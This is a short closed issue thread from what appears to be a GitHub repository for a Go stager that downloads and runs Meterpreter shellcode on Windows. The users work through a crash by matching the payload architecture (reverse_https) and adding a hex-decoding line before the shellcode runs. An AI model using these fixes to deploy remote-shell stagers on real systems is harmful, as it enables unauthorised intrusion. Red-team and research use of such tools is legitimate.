Closed ajeecai closed 1 year ago
It's still working for me, it looks like you might be using a 32 bit payload with a 64 bit stager. Try either setting GOARCH=386 instead of amd64 or make sure the payload your using is windows/x64/meterpreter/reverse_https
and not windows/meterpreter/reverse_https
.
I have generated with x64 meterpreter ... Now find out, in downloadAndRun
data := GetExecutable(host, port, uuid) tmp, _ := hex.DecodeString(string(data)) <- add this line Run(tmp)
Because the shellcode file I put on my testing server is in string, not a binary, so need to convert it back to binary. Then it works, please feel free to close this issue.
Thanks
With proper shellcode downloading server set in the code, compiling this repository with
env GOOS=windows GOARCH=amd64 go build
. When run the out executable in windows 10, get crash. Did you see this before?Thanks